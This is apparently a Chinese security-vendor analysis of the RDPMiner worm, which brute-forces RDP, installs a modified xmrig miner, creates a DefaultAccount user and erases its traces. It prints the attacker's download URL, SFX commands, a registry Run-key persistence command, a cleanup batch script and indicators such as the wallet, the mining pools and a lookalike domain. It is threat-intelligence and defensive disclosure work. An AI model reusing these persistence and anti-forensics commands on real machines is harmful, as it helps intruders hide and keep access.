近日,阿里云安全发现一种新型挖矿蠕虫RDPMiner,通过爆破Windows Server 3389端口RDP服务的方式进行挖矿木马传播,致使用户CPU占用率暴涨,机器卡顿,更被创建名为DefaultAccount的账号。攻击者可畅通无阻远程登录机器威胁用户业务和数据安全。
据该蠕虫连接的某矿池公布的HashRate,预估仅该矿池即有2000+机器连接进行挖矿,阿里云安全专家判断该挖矿蠕虫扩散性还在持续且活跃度高,且用户管理账号弱密码设置更给攻击者创造了有利的条件。
本文以RDPMiner整体攻击流程为主线,通过对入侵、获利、对抗与维持等进行详细分析,还原RDPMiner整个过程。并在文末给出专家建议,同时也提醒用户加强密码设置。
背景
在接到用户反馈Windows Server服务器CPU占用率暴涨,并被创建DefaultAccount的账号后,阿里云云防火墙同步监控到这些机器向外发出大量RDP请求。阿里云安全研究人员进行分析后,发现用户主机上运行着挖矿程序,导致CPU占用率居高不下。
进一步分析,攻击者利用该蠕虫程序暴力破解RDP服务、创建用户名为DefaultAccount的账号、修改注册表、开启挖矿程序。 接着再通过这台被入侵的机器对互联网其他主机进行爆破,进而达到入侵、获利、持久化等功能。
且挖矿蠕虫的攻击者具有较强的对抗意识,大部分二进制程序都被制作成了SFXRAR自解压缩程序(Self Extracting Archives)进行密码加密,并在执行完功能后,统一由脚本进行清理。阿里云安全监测到该蠕虫最早出现于2017年11月,持续时间长达1年多。
此次RDPMiner事件中,攻击ip来源地伊朗、美国、中国基本持平。由于中国的入侵ip很大部分是由于主机被入侵之后变成继续攻击的肉鸡,故最初发起攻击的ip以伊朗和美国居多。
RDPMiner蠕虫攻击及传播流程解析
恶意程序示意图
如下图所示:攻击者在成功控制一台机器后,为进行下一轮的RDP爆破攻击,首先会在该机器的c:usersadministratordesktop目录下,植入并运行名为sector-v1.exe的多功能恶意程序工具包。工具包中的程序都进行了sfxrar加密,需要输入密码才能正常运行。
恶意工具包运行界面
根据进程启动记录,攻击者使用了工具包中的c-f 4 reza,从http://111.63.225.242:8082//c-f4r.exe下载了并运行了c-f4r.exe,释放出d-f.exe、m-r.exe、res.exe和A-C-M.exe等多个可执行恶意程序。这里的下载源服务器111.63.225.242与诸多入侵事件相关,根据abuseipdb网站的ip滥用记录,111.63.225.242曾多次被用户举报涉及攻击行为,值得关注。
而多个恶意程序中的A-C-M.exe在运行之后,又将进一步释放svchost.exe、ds.exe、nl.exe、user.txt、pass.txt、backdoor-reg-nl-restart.bat等恶意程序、恶意脚本和配置文件。
其中,svchost.exe执行时,一方面释放及启动挖矿程序serverGui.exe,另一方面执行下图脚本中所示命令添加前文用户反馈的DefaultAccount恶意账号,并通过操作注册表将自身添加到Windows系统启动项中,达到持久化攻击的目的。
svchost.exe文件生成示意图
而nl.exe原名为NLBrute.exe,是一款最早由俄罗斯人开发的Windows系统3389爆破软件。攻击者使用它来达到传播蠕虫,进一步扩大攻击范围的目的。
RDPMiner活动时间线
如上图所示,从2017年11月开始攻击者便开始采用各种工具进行爆破、挖矿攻击,使用过的扫描工具除了nl.exe(NLBrute)之外,还有kportscan3.exe等。同样地,为了逃避云上恶意程序的查杀,攻击者用来挖矿的工具也经历了至少两轮迭代。
挖矿工具名称变化时间线
尽管攻击者使用的挖矿工具名称、哈希值不断变化,但本质上都是开源挖矿软件xmrig经过修改而成,因此使用方式与xmrig十分相似。
RDPMiner各模块功能
入侵:RDP暴力破解
通过A-C-M.exe释放出如下文件,程序启动后会调用nl.exe,该程序更为广泛使用的名称是NLBrute,专门用于对3389端口进行爆破。
A-C-M.exe运行释放文件
如图所示,程序启动后会加载文件Part1到Part17所存储的IP地址,去重后共计427975个,去重后为427934个IP,nl.exe会加载这些IP地址而后持续对外爆破半个小时,结束后调用backdoor-reg-nl-restart对程序和IP地址簿进行删除,在主机上不留下任何痕迹,由于该类动作,使得该类样本难以发现。
获利:挖矿
攻击者通过A-C-M.exe释放svchost.exe(路径为:C:/Windows/debug/svchost.exe),而后svchost.exe释放ServerGUi.exe(路径为:C:/Users/Administrator/AppData/Local/Temp/2/ServerGUi.exe)进行挖矿,该程序基于xmrig修改,挖矿支持指令如下所示:
当前攻击者钱包地址在某挖矿平台上的日平均Hash Rate约25KH/s,目前全网数千台机器正在连接该矿池,这个挖矿速率意味着攻击者本次挖矿每日收益仅为约8.73美元,侧面说明在如今币价狂跌的背景下,入侵挖矿的收益不再像过去那样诱人。攻击者仍然乐此不疲,对用户而言伤害不减。
攻击者钱包地址在supportxmr.com矿池的记录
对抗与维持:创建RDP账号、注册表操作与痕迹清理
为了对抗安全人员的分析,攻击者对全部文件进行了SFX加密并且都设置了密码,通过运行时自解压将文件释放出并运行相关的脚本文件,如图所示是A-C-M.exe文件中的SFX脚本命令,当程序解密后会运行nl.exe文件和执行backdoor-reg-nl-restart脚本。
;The comment below contains SFX script commands
Path=C:UsersAdministratorDesktop
Setup=nl.exe
Setup=backdoor-reg-nl-restart
Overwrite=1
Silent=1
前文提到,攻击者运行nl.exe,通过RDP服务爆破入侵之后,会通过Opppps.bat脚本添加DefaultAccount账号。而为了避免账号被用户发现并删除,svchost.exe还会运行“cmd /c REG add HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v”将自身运行加到自启动项里。
此外为避免程序运行时Windows UAC弹框引起用户察觉,该恶意程序还包含了如下图所示的注册表命令,设置"EnableLUA"注册表项以及关闭Windows自带的防火墙。
而当执行完对外扫描任务、注册表修改等任务后,会执行backdoor-reg-nl-restart脚本,结束相关进程和清理程序释放的文件。由于对外3389端口扫描设定了时间1800秒(半小时)或3600秒(一小时),所以该类样本较难进行捕获。如图所示,是backdoor-reg-nl-restart脚本。
start taskmgr
net user administrator /active:no
...
timeout 1800
DEL /F /Q "C:Windowsdebuguser.reg"
DEL /F /Q "C:Windowsdebugta.reg"
DEL /F /Q "C:WindowsdebugDwd.reg"
taskkill /im nl.exe /f
taskkill /im nl.exe /f
taskkill /im nl.exe /f
DEL /F /Q "C:Users%username%Desktopnl.exe"
DEL /F /Q "C:Users%username%Desktopnl.exe"
DEL /F /Q "C:Users%username%Desktopnl.exe"
DEL /F /Q "C:Users%username%Desktoppass.txt"
DEL /F /Q "C:Users%username%Desktopuser.txt"
DEL /F /Q "C:Users%username%Desktopsettings.ini"
taskkill /im A-C-M.exe /f
DEL /F /Q "C:Users%username%DesktopA-C-M.exe"
DEL /F /Q "C:Users%username%Desktoppart1.txt"
DEL /F /Q "C:Users%username%Desktoppart2.txt"
...
DEL /F /Q "C:Users%username%Desktoppart17.txt"
echo HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options [1]>>temp.ini
regini temp.ini
del temp.ini
net user administrator /active:yes
DEL "%~f0"
安全建议
针对此次RDPMiner攻击,阿里云安全向用户提供两点安全建议:
**附录
钱包地址
493NdGNLF2C5EgQ11rYUA5gWqCLKrjY8w6Wrfev2cCXzW7UwepJ4yUv16A2zQfyWsWRk4wnGwpsUd7hLGr5TQFxYDnYK6Ta
**矿池地址:
**
pool.supportxmr.com:3333
minexmr.com
xmr-asia1.nanopool.org:14444
159.69.206.220:3333
恶意程序DNS请求:
min.microsoftupdcenter.info
本文作者:悟泛、堇云
致谢:感谢刘晋成在恶意软件分析方面的贡献